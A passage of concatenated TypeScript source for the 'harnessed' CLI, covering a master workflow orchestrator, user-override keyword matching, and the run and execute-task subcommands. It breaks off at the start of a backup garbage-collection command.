failed (${(e as Error).message}) — proceeding default order`)\n }\n}\n\n// Re-export for backward-compat dogfood static-verify (cycle-4-verify.dogfood.test.ts F9\n// reads both files concatenated). Anchor markers kept verbatim in helper functions above.\nexport type { WorkflowSchemaV3T }\n","// masterOrchestrator.ts — T3.5.W0.1 Master Orchestrator Hybrid Option C per RESEARCH-workflows\n// § Area 3:yaml `delegates_to[]` 声明 + engine consume + judgmentResolver pre-resolve gate +\n// sub spawn。4 master 共享 dispatcher (D-13 declarative SoT)。K8: ctx 共享 snapshot(无 re-snapshot)。\n// K14: arbitrate warn-not-halt。Path A default = in-process recursive runWorkflow;Path B\n// fallback = try/catch SDK error → warn (sub-shell exec defer v3.x per K-mitigation)。\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { resolveJudgmentGate } from './judgmentResolver.js'\nimport {\n type DelegationClauseT,\n WorkflowSchemaV3,\n type WorkflowSchemaV3T,\n} from './schema/workflow.js'\n\nexport type MasterName = 'discuss' | 'plan' | 'task' | 'verify' | 'auto'\n\nexport interface MasterRunResult {\n master: MasterName\n /** Sub names that gate-evaluated to fire (spawned in arbitration-sorted order). */\n fired: string[]\n /** Sub names that gate-evaluated to skip (透明声明 per fallback.yaml 铁律 1). */\n skipped: string[]\n}\n\n/** v3.1.0 / v3.2.0 / v3.3.0 — Opts for runMasterOrchestrator.\n * `pauseBetweenStages` (v3.1.0 introduced as `--pause-between-stages`; renamed to\n * `--staged` in v3.2.0; v3.3.0 cleanup removed the legacy `--pause-between-stages`\n * alias — only `--staged` flag remains).\n * v3.2.0 NEW hooks (super-master `/auto` only, pre-flight before spawn loop):\n * `assessComplexity`: AI 1-shot judge 需求 size (small/medium/large) — large prompts\n * user 切 `--staged` OR abort 建议手动\n * `promptUserUnderstanding`: prompt 对需求有清晰认知吗 — n sets ctx fact\n * `user_understanding_unclear=true` (research gate consumes)\n * `prompter`: low-level stdin prompter DI override (sister pauseFn pattern) */\nexport interface MasterRunOpts {\n pauseBetweenStages?: boolean\n pauseFn?: (stageName: string) => Promise<void>\n /** v3.2.0 — AI 1-shot complexity judge for /auto Phase 0 gate. */\n assessComplexity?: (taskDescription: string) => Promise<'small' | 'medium' | 'large'>\n /** v3.2.0 — Phase 0.5 understanding check (returns true if user is clear). */\n promptUserUnderstanding?: (prompter: (q: string) => Promise<string>) => Promise<boolean>\n /** v3.2.0 — low-level stdin prompter DI override. */\n prompter?: (question: string) => Promise<string>\n}\n\nexport interface GateEvaluation {\n clause: DelegationClauseT\n passes: boolean\n reason?: string\n}\n\n/** Spawn driver — Path A (in-process SDK recursive) with Path B (sub-shell) fallback.\n * T3.5.W2.1 dogfood LOCK 决策延后;两路径都实现 + default Path A。 */\nexport type SpawnDriver = (\n masterName: MasterName,\n subName: string,\n context: Record<string, unknown>,\n packageRoot: string,\n) => Promise<void>\n\nimport {\n defaultPauseFn,\n defaultSpawnDriver,\n emitGateTransparency,\n maybeArbitrate,\n resolveMasterYamlPath,\n runAutoPreFlight,\n} from './masterOrchestrator-helpers.js'\n\n/** Run a master orchestrator yaml — load `workflows/<masterName>/auto/workflow.yaml`,\n * evaluate delegates_to[] gates,split serial/parallel,arbitrate(K14 warn-not-halt),\n * spawn sub(Path A default),emit Transparency block。\n *\n * K8:engine 共享 1 context snapshot — `context` arg passed unchanged 到 sub spawn。 */\nexport async function runMasterOrchestrator(\n masterName: MasterName,\n context: Record<string, unknown>,\n packageRoot: string,\n spawnDriver: SpawnDriver = defaultSpawnDriver,\n opts: MasterRunOpts = {},\n): Promise<MasterRunResult> {\n // v3.1.0 — super-master `/auto` 走 top-level standalone `workflows/auto/workflow.yaml`\n // (sister research/retro layout); 4 stage-master 仍 走 `workflows/<name>/auto/workflow.yaml`。\n const yamlPath = resolveMasterYamlPath(masterName, packageRoot)\n const raw = await readFile(yamlPath, 'utf8')\n const parsed = parseYaml(raw) as unknown\n if (!Value.Check(WorkflowSchemaV3, parsed)) {\n const errors = [...Value.Errors(WorkflowSchemaV3, parsed)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid master workflow.yaml at ${yamlPath}: ${errors}`)\n }\n const master = parsed as WorkflowSchemaV3T\n if (!master.delegates_to || master.delegates_to.length === 0) {\n throw new Error(`Master workflow ${masterName} missing delegates_to`)\n }\n\n // v3.2.0 — /auto super-master pre-flight (Phase 0 complexity + Phase 0.5 understanding)。\n // Hooks set ctx fact `user_understanding_unclear` consumed by research gate; large\n // complexity → auto-switch to --staged OR abort (user-elected manual /discuss path)。\n // Pre-flight 仅当 assessComplexity OR prompter OR promptUserUnderstanding 任一显式传入\n // 才激活 — 保护 sister v3.1.0 fixture (无 hooks) backward-compat (避免 readline 阻塞)。\n let effectiveOpts = opts\n const preflightActive =\n masterName === 'auto' &&\n (opts.assessComplexity !== undefined ||\n opts.prompter !== undefined ||\n opts.promptUserUnderstanding !== undefined)\n if (preflightActive) {\n const pre = await runAutoPreFlight(context, opts)\n if (!pre.proceed) {\n console.log(`[${masterName} master] Aborted by user (complexity gate decline).`)\n return { master: masterName, fired: [], skipped: master.delegates_to.map((c) => c.sub) }\n }\n effectiveOpts = pre.opts\n }\n\n // Phase 1: gate eval per delegation clause(unconditional fire 当 clause.gate undefined)\n const gateEvalled: GateEvaluation[] = []\n for (const clause of master.delegates_to) {\n if (!clause.gate) {\n gateEvalled.push({ clause, passes: true })\n continue\n }\n try {\n const passes = await resolveJudgmentGate(clause.gate, context, packageRoot)\n gateEvalled.push({\n clause,\n passes,\n reason: passes ? undefined : `gate ${clause.gate} = false`,\n })\n } catch (e) {\n gateEvalled.push({\n clause,\n passes: false,\n reason: `gate eval error: ${(e as Error).message}`,\n })\n }\n }\n\n // Transparency block + Phase 2 split + Phase 2.5 arbitrate (helpers split per karpathy ≤200L)\n emitGateTransparency(masterName, master.delegates_to.length, gateEvalled)\n const PARALLEL_MID_ANCHOR = 50\n const firedClauses = gateEvalled.filter((g) => g.passes).map((g) => g.clause)\n const serialLeading = firedClauses\n .filter((c) => c.mode === 'serial' && (c.order ?? 0) < PARALLEL_MID_ANCHOR)\n .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))\n const serialTrailing = firedClauses\n .filter((c) => c.mode === 'serial' && (c.order ?? 0) >= PARALLEL_MID_ANCHOR)\n .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))\n const parallelClauses = firedClauses.filter((c) => (c.mode ?? 'parallel') === 'parallel')\n const serialN = serialLeading.length + serialTrailing.length\n const parallelN = parallelClauses.length\n await maybeArbitrate(firedClauses, packageRoot)\n\n // Phase 3: spawn leading serial → parallel fan-out → trailing serial (yaml order intent)。\n const modeLabel =\n serialN > 0 && parallelN > 0 ? 'serial+parallel' : serialN > 0 ? 'serial' : 'parallel'\n console.log(`Firing ${firedClauses.length} sub in ${modeLabel}:`)\n const fired: string[] = []\n // v3.1.0 / v3.2.0 / v3.3.0 — staged opt-in (super-master `/auto` UX, `--staged` flag only).\n // pauseFn defaults to readline stdin prompt at runtime (test DI override via opts.pauseFn)。\n // effectiveOpts may have auto-flipped pauseBetweenStages=true via pre-flight large complexity。\n const pauseHook = effectiveOpts.pauseBetweenStages\n ? (effectiveOpts.pauseFn ?? defaultPauseFn)\n : undefined\n for (const clause of serialLeading) {\n console.log(` → ${clause.sub} (serial order=${clause.order ?? 0})`)\n await spawnDriver(masterName, clause.sub, context, packageRoot)\n fired.push(clause.sub)\n if (pauseHook) await pauseHook(clause.sub)\n }\n const parallelResults = await Promise.allSettled(\n parallelClauses.map(async (clause) => {\n console.log(` → ${clause.sub} (parallel)`)\n await spawnDriver(masterName, clause.sub, context, packageRoot)\n return clause.sub\n }),\n )\n for (const r of parallelResults) {\n if (r.status === 'fulfilled') fired.push(r.value)\n }\n for (const clause of serialTrailing) {\n console.log(` → ${clause.sub} (serial order=${clause.order ?? 0})`)\n await spawnDriver(masterName, clause.sub, context, packageRoot)\n fired.push(clause.sub)\n if (pauseHook) await pauseHook(clause.sub)\n }\n\n // Phase 5: skipped — 透明声明 sister fallback.yaml 铁律 1\n const skipped = gateEvalled.filter((g) => !g.passes).map((g) => g.clause.sub)\n console.log(`[${masterName} master] Complete: ${fired.length} fired, ${skipped.length} skipped.`)\n\n return { master: masterName, fired, skipped }\n}\n","// v1.0.1 T1.1 — Single SoT for package root resolution.\n//\n// IMPL NOTE: Resolves package root via import.meta.url → up two levels from\n// dist/cli.mjs → package root. Bundler-safe: tsup ESM build preserves\n// import.meta.url. Fixes global-install consumers using process.cwd() which\n// points to the user's project dir, not the harnessed package dir.\n\nimport { dirname, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\n/**\n * Returns the absolute path to the harnessed package root directory.\n * Works for both global installs (npm install -g) and local dev (ts-node / vitest).\n */\nexport function getPackageRoot(): string {\n // import.meta.url → file:///.../dist/cli.mjs (or src/cli/lib/packagePath.ts in test)\n // Go up: dist/cli.mjs → dist/ → package root (2 levels)\n // src/cli/lib/packagePath.ts → src/cli/lib/ → src/cli/ → src/ → package root (3 levels in source)\n // We detect which context we're in by checking for the 'dist' segment.\n const thisFile = fileURLToPath(import.meta.url)\n const thisDir = dirname(thisFile)\n // In dist: thisDir = <root>/dist → up 1\n // In src: thisDir = <root>/src/cli/lib → up 3\n if (thisDir.endsWith('dist') || thisDir.replace(/\\\\/g, '/').endsWith('/dist')) {\n return resolve(thisDir, '..')\n }\n // Source / test context — go up 3\n return resolve(thisDir, '..', '..', '..')\n}\n","// src/cli/lib/extract-user-overrides.ts — v3.6.0 Phase 3 Wave 2\n// (P0b 上半 CLI integration).\n//\n// Loads workflows/judgments/user-overrides.yaml (sister Wave 1 schema) and\n// extracts matched trigger gate refs from user task description via\n// case-insensitive substring match. Consumed by src/cli/run.ts:\n// const overrides = await loadUserOverrides(packageRoot)\n// const matched = extractMatchedTriggers(task, overrides)\n// if (matched.length > 0) gateContext.user_overrides = matched\n//\n// Match algorithm: for each override entry, if ANY keyword is a substring\n// (case-insensitive) of userText → include ALL of entry.triggers[] in result.\n// Multiple entries can match the same userText → triggers union deduped.\n//\n// Fail-soft per ADR 0029: missing yaml / parse error / schema invalid → empty\n// array (extract returns []). CLI emits no stderr — silent no-op preserves\n// existing behavior for users who don't use override keywords.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { UserOverridesFile, type UserOverridesFileT } from '../../workflow/schema/judgment.js'\n\nexport interface UserOverrideEntry {\n id: string\n keywords: string[]\n triggers: string[]\n}\n\n/** Load + validate workflows/judgments/user-overrides.yaml. Fail-soft per\n * ADR 0029: any error (missing file / parse fail / schema reject) → []. */\nexport async function loadUserOverrides(packageRoot: string): Promise<UserOverrideEntry[]> {\n const yamlPath = resolve(packageRoot, 'workflows', 'judgments', 'user-overrides.yaml')\n let raw: string\n try {\n raw = await readFile(yamlPath, 'utf8')\n } catch {\n return []\n }\n let parsed: unknown\n try {\n parsed = parseYaml(raw)\n } catch {\n return []\n }\n if (!Value.Check(UserOverridesFile, parsed)) {\n return []\n }\n const valid = parsed as UserOverridesFileT\n return valid.overrides.map((o) => ({\n id: o.id,\n keywords: [...o.keywords],\n triggers: [...o.triggers],\n }))\n}\n\n/** Case-insensitive substring match — for each override entry, if ANY keyword\n * is a substring of userText (after lowercasing both sides) → include ALL of\n * entry.triggers[]. Result is deduped union of all matched triggers.\n *\n * Empty userText → empty result (no-op, preserves existing behavior).\n * Empty overrides → empty result. */\nexport function extractMatchedTriggers(userText: string, overrides: UserOverrideEntry[]): string[] {\n if (!userText || overrides.length === 0) return []\n const haystack = userText.toLowerCase()\n const matched = new Set<string>()\n for (const entry of overrides) {\n for (const kw of entry.keywords) {\n if (haystack.includes(kw.toLowerCase())) {\n for (const trigger of entry.triggers) matched.add(trigger)\n break // one keyword hit → all triggers added, no need to check siblings\n }\n }\n }\n return [...matched]\n}\n","// src/cli/run.ts — v3.4.4 Phase 1 α CLI wire\n//\n// Wires src/workflow/run.ts (the 4 master + 24 sub workflow runtime) into a\n// real subcommand so `~/.claude/commands/<name>.md` can invoke it via Bash.\n// Replaces the v3.4.3 dual-path body (SlashCommand vapor + Task-spawn fallback\n// that bypassed disciplines + judgments + master orchestration).\n//\n// Phase 1 keeps _dispatchSkillStub.fn from src/workflow/run.ts — actual SDK\n// spawn lands in Phase 2 (extract src/routing/lib/sdkSpawn.ts → src/workflow/\n// lib/sdkSpawn.ts). `--dry-run` here means \"validate the yaml + walk the\n// workflow runtime + exit 0 without invoking the stub\" so users can verify\n// wiring before Phase 2 lands.\n//\n// Phase v3.4.4 (Phase 5) — real getNextHint implementation: reads\n// workflows/auto/workflow.yaml delegates_to[] (lazy module-level cache),\n// resolves direct + parent-stage fallback per D-1 Option C, fail-soft per\n// ADR 0029 (stderr warn + null on yaml read/parse error).\n\nimport { existsSync } from 'node:fs'\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport * as loadPhasesMod from '../workflow/loadPhases.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { extractMatchedTriggers, loadUserOverrides } from './lib/extract-user-overrides.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n task?: string\n taskStdin?: boolean\n maxIterations?: number\n model?: 'haiku' | 'sonnet' | 'opus'\n dryRun?: boolean\n staged?: boolean\n list?: boolean\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\n/** Phase 5 — module-level lazy cache for the 6-stage chain extracted from\n * workflows/auto/workflow.yaml delegates_to[]. Loaded ONCE per process at\n * first getNextHint call; `harnessed run` exits after each invocation so\n * per-process cache lifetime is correct (no invalidation needed). null = not\n * yet loaded; empty array [] = load attempted but failed (fail-soft —\n * don't retry). */\nlet _autoChainCache: string[] | null = null\nlet _autoChainLoadFailed = false\n\nexport function registerRun(program: Command): void {\n program\n .command('run')\n .description(\n 'Run a harnessed workflow (master orchestrator or sub-workflow). Slash commands invoke via this subcommand.',\n )\n .argument('[name]', 'workflow name (e.g. discuss, verify-paranoid, research, auto)')\n .option('--task <text>', 'task description (passed as workflow gateContext.task)')\n .option('--task-stdin', 'read task description from stdin until EOF (avoids shell-escape)')\n .option(\n '--max-iterations <n>',\n 'ralph-loop max iter (default 20; honored Phase 3 onward)',\n (v) => parseInt(v, 10),\n )\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option(\n '--dry-run',\n 'validate yaml load + walk runtime without spawning (Phase 1 default for verification)',\n )\n .option('--staged', '/auto super-master: pause between stages for user review')\n .option('--list', 'print all known workflow names and exit')\n .action(async (name: string | undefined, raw: RawOpts) => {\n if (raw.list) {\n const names = await listWorkflowNames(WORKFLOWS_DIR)\n for (const n of names) console.log(n)\n process.exit(0)\n }\n if (!name) {\n console.error('error: workflow name required (or pass --list to enumerate)')\n process.exit(2)\n }\n\n // Resolve task input — flag > stdin > empty\n let task = ''\n if (typeof raw.task === 'string') {\n task = raw.task\n } else if (raw.taskStdin) {\n task = await readStdinToEnd()\n }\n\n // Resolve workflow yaml path — 3-tier lookup matches workflows/ layout\n const yamlPath = await resolveWorkflowYaml(name, WORKFLOWS_DIR)\n if (!yamlPath) {\n console.error(\n `error: workflow '${name}' not found under workflows/. Run \\`harnessed run --list\\` to enumerate.`,\n )\n process.exit(2)\n }\n\n // v3.6.0 Phase 3 Wave 2 — user-override keyword extraction (P0b 上半).\n // Substring match against workflows/judgments/user-overrides.yaml keywords[].\n // Matched trigger gate refs injected into gateContext.user_overrides[]\n // → judgmentResolver bypass (Wave 1 src/workflow/judgmentResolver.ts) →\n // gate fires=true regardless of expr eval. Fail-soft per ADR 0029:\n // loadUserOverrides returns [] on any error; extract returns [] on no\n // matches → no stderr emit, preserves existing behavior.\n const overrides = await loadUserOverrides(PACKAGE_ROOT)\n const matchedTriggers = extractMatchedTriggers(task, overrides)\n if (matchedTriggers.length > 0) {\n console.error(\n `ℹ user-override detected: ${matchedTriggers.length} trigger(s) ` +\n `forced fires=true via keyword match (${matchedTriggers.join(', ')})`,\n )\n }\n\n const gateContext: Record<string, unknown> = {\n task,\n ...(raw.model ? { modelOverride: raw.model } : {}),\n ...(raw.maxIterations ? { maxIterations: raw.maxIterations } : {}),\n ...(raw.staged ? { staged: true } : {}),\n ...(matchedTriggers.length > 0 ? { user_overrides: matchedTriggers } : {}),\n }\n\n if (raw.dryRun) {\n console.log(JSON.stringify({ workflow: name, yamlPath, gateContext }, null, 2))\n process.exit(0)\n }\n\n let result: Awaited<ReturnType<typeof runWorkflow>>\n try {\n result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n } catch (err) {\n console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n process.exit(1)\n return\n }\n // Print stage-complete + Next: hint (Phase 1 stub; Phase 5 real impl).\n // Kept OUTSIDE the try/catch so a test harness that mocks `process.exit`\n // to throw doesn't trip the runtime-failed branch (process.exit normally\n // terminates; only in tests does it surface as a throwable).\n const hint = await getNextHint(name)\n process.stderr.write(`[stage ${name} ${result.status}]\\n`)\n if (hint) {\n process.stderr.write(`Next stage: harnessed run ${hint}\\n(In Claude Code: /${hint})\\n`)\n }\n process.exit(result.status === 'failed' ? 1 : 0)\n })\n}\n\n/** 3-tier lookup matches workflows/ layout:\n * 1. workflows/<name>/workflow.yaml (research, retro, auto top-level)\n * 2. workflows/<name>/auto/workflow.yaml (4 stage-masters: discuss/plan/task/verify)\n * 3. workflows/<stage>/<sub>/workflow.yaml (24 subs; <name> = '<stage>-<sub>' OR '<sub>')\n *\n * Sub names by convention flatten to `<stage>-<sub>` (e.g. 'verify-paranoid'\n * → workflows/verify/paranoid/workflow.yaml). Split on the FIRST dash to\n * derive (stage, sub). If `<name>` has no dash, only tiers 1 + 2 apply.\n */\nexport async function resolveWorkflowYaml(\n name: string,\n workflowsDir: string,\n): Promise<string | null> {\n // Tier 1: top-level standalone\n const tier1 = join(workflowsDir, name, 'workflow.yaml')\n if (existsSync(tier1)) return tier1\n // Tier 2: stage-master auto\n const tier2 = join(workflowsDir, name, 'auto', 'workflow.yaml')\n if (existsSync(tier2)) return tier2\n // Tier 3: split on first dash\n const dashIdx = name.indexOf('-')\n if (dashIdx > 0) {\n const stage = name.slice(0, dashIdx)\n const sub = name.slice(dashIdx + 1)\n const tier3 = join(workflowsDir, stage, sub, 'workflow.yaml')\n if (existsSync(tier3)) return tier3\n }\n return null\n}\n\nexport async function listWorkflowNames(workflowsDir: string): Promise<string[]> {\n const names: string[] = []\n const entries = await readdir(workflowsDir)\n for (const e of entries.sort()) {\n const p = join(workflowsDir, e)\n const s = await stat(p).catch(() => null)\n if (!s?.isDirectory()) continue\n // Tier 1: top-level workflow.yaml\n if (await fileExists(join(p, 'workflow.yaml'))) {\n names.push(e)\n continue\n }\n // Tier 2: stage with auto/workflow.yaml → list `<stage>` + subs\n if (await fileExists(join(p, 'auto', 'workflow.yaml'))) {\n names.push(e)\n const subs = await readdir(p).catch(() => [])\n for (const sub of subs.sort()) {\n if (sub === 'auto') continue\n if (await fileExists(join(p, sub, 'workflow.yaml'))) {\n names.push(`${e}-${sub}`)\n }\n }\n }\n }\n return names\n}\n\nasync function fileExists(path: string): Promise<boolean> {\n return stat(path)\n .then(() => true)\n .catch(() => false)\n}\n\nasync function readStdinToEnd(): Promise<string> {\n const chunks: Buffer[] = []\n for await (const chunk of process.stdin) {\n chunks.push(Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk))\n }\n return Buffer.concat(chunks).toString('utf8').trim()\n}\n\n/** Phase 5 — load workflows/auto/workflow.yaml delegates_to[] sorted by\n * `order`, return the 6-stage chain as a string[]. Lazy cached at module\n * level. Fail-soft per ADR 0029: read/parse error → set\n * _autoChainLoadFailed + emit 1-line stderr warn + return []. */\nfunction loadAutoChain(): string[] {\n if (_autoChainCache !== null) return _autoChainCache\n if (_autoChainLoadFailed) return []\n try {\n const yamlPath = join(WORKFLOWS_DIR, 'auto', 'workflow.yaml')\n const parsed = loadPhasesMod.loadPhases(yamlPath)\n const delegates =\n 'delegates_to' in parsed && Array.isArray(parsed.delegates_to) ? parsed.delegates_to : []\n const sorted = [...delegates].sort((a, b) => {\n const ao = typeof a.order === 'number' ? a.order : Number.MAX_SAFE_INTEGER\n const bo = typeof b.order === 'number' ? b.order : Number.MAX_SAFE_INTEGER\n return ao - bo\n })\n _autoChainCache = sorted.map((d) => d.sub).filter((s): s is string => typeof s === 'string')\n return _autoChainCache\n } catch (err) {\n _autoChainLoadFailed = true\n process.stderr.write(`⚠️ getNextHint failed (${(err as Error).message}); skipping hint.\\n`)\n return []\n }\n}\n\n/** Phase 5 — return the next stage name in the 6-stage auto chain for the\n * passed workflowName. Resolution chain (D-1 Option C):\n * 1. Direct: `workflowName` ∈ chain → return next-in-order (or null if last).\n * 2. Parent-stage fallback: split on FIRST dash → parent stage (e.g.\n * 'verify-paranoid' → 'verify') → if parent in chain, return\n * next-after-parent (or null if parent is last).\n * 3. 'auto' super-master OR unresolvable → null (whole chain runs / no hint).\n *\n * Cache: loadAutoChain() is lazy (1 load per process). Fail-soft per ADR 0029. */\nexport async function getNextHint(workflowName: string): Promise<string | null> {\n if (workflowName === 'auto') return null\n const chain = loadAutoChain()\n if (chain.length === 0) return null // load failed or empty delegates\n // Direct lookup\n const directIdx = chain.indexOf(workflowName)\n if (directIdx >= 0) {\n return directIdx + 1 < chain.length ? (chain[directIdx + 1] ?? null) : null\n }\n // Parent-stage fallback (D-1 Option C): split on FIRST dash\n const dashIdx = workflowName.indexOf('-')\n if (dashIdx > 0) {\n const parentStage = workflowName.slice(0, dashIdx)\n const parentIdx = chain.indexOf(parentStage)\n if (parentIdx >= 0) {\n return parentIdx + 1 < chain.length ? (chain[parentIdx + 1] ?? null) : null\n }\n }\n return null\n}\n\n/** Phase 5 — test hook: reset module cache so unit tests can verify lazy-load\n * + fail-soft + re-load paths in isolation. NOT for production use. */\nexport function _resetAutoChainCache(): void {\n _autoChainCache = null\n _autoChainLoadFailed = false\n}\n","// Phase 2.2 T5.1 — `harnessed execute-task --task <text>` independent subcommand.\n//\n// IMPL NOTE — B-10 + B-28 + PATTERNS § 2.1 (Register block).\n// Sister to src/cli/research.ts L16-92 — same H1 gate (sibling install-base.ts L51-56),\n// same 3-state exit code mapping (0 ok / 1 fail / 2 usage).\n//\n// v3.4.4 (Phase 4 Commit 4) — REFACTORED: execute-task subcommand is now a thin\n// alias to `runWorkflow` (src/workflow/run.ts) targeting the v3\n// workflows/execute-task/workflow.yaml (landed Commit 1 — sister\n// `40e76fd`). Subcommand surface unchanged (--task / --dry-run /\n// --non-interactive / --model / --model-tier / --max-iterations /\n// --workflow + H1 gate + K5 before-commit hook + exit-code semantics 0/1/2)\n// → zero user-visible regression.\n//\n// Pre-Phase-4 body called `loadPhases(v2 phases.yaml)` + `runRouting(taskCtx)`.\n// Phase 6 will delete src/routing/ + the v2 `workflows/execute-task/phases.yaml`\n// alongside src/routing-engine/. The v2 yaml stays put through Phase 5 per\n// D-2 Path A1 (HANDOFF L745).\n//\n// Phase v3.0-3.5 W0 T3.5.W0.4 — before-commit hook wire (K5 Option A enforcement):\n// apply path pre-flight `runBeforeCommitHook` enforce biome auto-fix on TS/JS work\n// tree changes BEFORE workflow runtime dispatch。subagent SDK 内部 git commit 时\n// work tree 已 biome-clean。User 主 session git commit 不走此 path(clean separation\n// per K5 Option A;主 session 用户自负 biome-preempt 责任)。\n// dry-run path NOT triggered(K5 Option A 仅 真 spawn 路径 enforce)。\n//\n// This pre-flight K5 Option A block (cwd-wide `git status --porcelain` enforce)\n// coexists with src/workflow/run.ts:316-331 per-phase `triggers_commit`-gated\n// enforcement (both layers preserved per spec D-3 verification #3).\n//\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n//\n// Exit codes:\n// 0 → ok (workflow runtime completed successfully)\n// 1 → workflow runtime failed (status === 'failed' or thrown)\n// 2 → usage error (missing --task / yaml not found)\n\nimport { execSync } from 'node:child_process'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { t } from '../i18n/index.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\nimport { resolveWorkflowYaml } from './run.js'\n\ninterface RawOpts {\n task?: string\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n modelTier?: 'inherit'\n maxIterations?: number\n workflow?: string\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\nexport function registerExecuteTask(program: Command): void {\n program\n .command('execute-task')\n .description(\n 'Run execute-task workflow (4-phase chain → ralph-loop COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--task <text>', 'task description (required)')\n .option('--workflow <name>', 'workflow name', 'execute-task')\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'CI / scripts')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option('--model-tier <tier>', \"override: 'inherit' bypasses per-phase phase.model (B-10)\")\n .option('--max-iterations <n>', 'ralph-loop max iter (default 20)', (v) => parseInt(v, 10))\n .action(async (raw: RawOpts) => {\n // H1 gate — sibling install-base.ts pattern\n validateNonInteractiveFlags(raw, 'execute-task --task <text>')\n if (!raw.task) {\n console.error(t('execute_task.require_task'))\n process.exit(2)\n }\n\n const workflowName = raw.workflow ?? 'execute-task'\n const yamlPath = await resolveWorkflowYaml(workflowName, WORKFLOWS_DIR)\n if (!yamlPath) {\n console.error(\n t('execute_task.load_phases_failed', {\n workflow: workflowName,\n message: 'workflow.yaml not found',\n }),\n )\n process.exit(2)\n return\n }\n\n // gateContext: --task → task; --model → modelOverride (captured for Phase 5\n // sdkSpawn-level consumption); --model-tier → modelTierOverride (consumed by\n // Phase 4 buildAgentDef enrichment when set — B-10 escape hatch);\n // --max-iterations → maxIterations (Phase 3 plumb path; ralph-loop opt-in\n // phases 01-04 honor the cap end-to-end).\n const gateContext: Record<string, unknown> = {\n task: raw.task,\n ...(raw.model ? { modelOverride: raw.model } : {}),\n ...(raw.modelTier ? { modelTierOverride: raw.modelTier } : {}),\n ...(raw.maxIterations ? { maxIterations: raw.maxIterations } : {}),\n }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n if (raw.dryRun === true) {\n // Universal Phase 1 dry-run JSON envelope shape (sister src/cli/run.ts:91 +\n // src/cli/research.ts:77). Replaces v2 `{ workflow, phases, taskCtx }` shape.\n console.log(JSON.stringify({ workflow: workflowName, yamlPath, gateContext }, null, 2))\n process.exit(0)\n return\n }\n\n // T3.5.W0.4 — before-commit hook K5 Option A enforcement (apply path ONLY).\n // Pre-flight enforce biome auto-fix on TS/JS work tree changes BEFORE the\n // workflow runtime dispatch (subagent SDK internal commits run with a\n // biome-clean work tree). PRESERVED VERBATIM from pre-Phase-4 body — spec\n // D-3 verification #3 explicitly says keep this enforcement layer; it\n // coexists with src/workflow/run.ts:316-331 per-phase `triggers_commit`\n // enforcement (this layer is cwd-wide; workflow runtime layer is per-phase).\n try {\n const stagedOut = execSync('git status --porcelain', { encoding: 'utf8' })\n const changedFiles = stagedOut\n .split('\\n')\n .filter((l) => l.trim().length > 0)\n .map((l) => l.slice(3).trim())\n await runBeforeCommitHook({\n changedFiles,\n cmdArgs: [],\n packageRoot: process.cwd(),\n cmdType: 'git-commit',\n hasUserApproval: true, // apply-immediate default\n })\n } catch (err) {\n // Fail-soft per ADR 0029:git status / biome auto-fix throw → warn + 继续\n // (subagent 内部 commit 时还会有第二道 biome --write check via SDK Bash tool)。\n console.warn(t('execute_task.precommit_skipped', { message: (err as Error).message }))\n }\n\n // Apply path — runWorkflow + fail-soft try/catch + exit 1 on failed status.\n let result: Awaited<ReturnType<typeof runWorkflow>>\n try {\n result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n } catch (err) {\n console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n process.exit(1)\n return\n }\n process.exit(result.status === 'failed' ? 1 : 0)\n })\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// gc follows the unified apply-immediate default convention (sister\n// install.ts pattern verbatim). Without flags → delete candidates。\n// `--dry-run` opt-in 列出 candidates 但不真删 (高级用户预览)。\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n// keepLast + olderThan filter 仍 protect 误删近期 snapshot (safety contract)。\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n 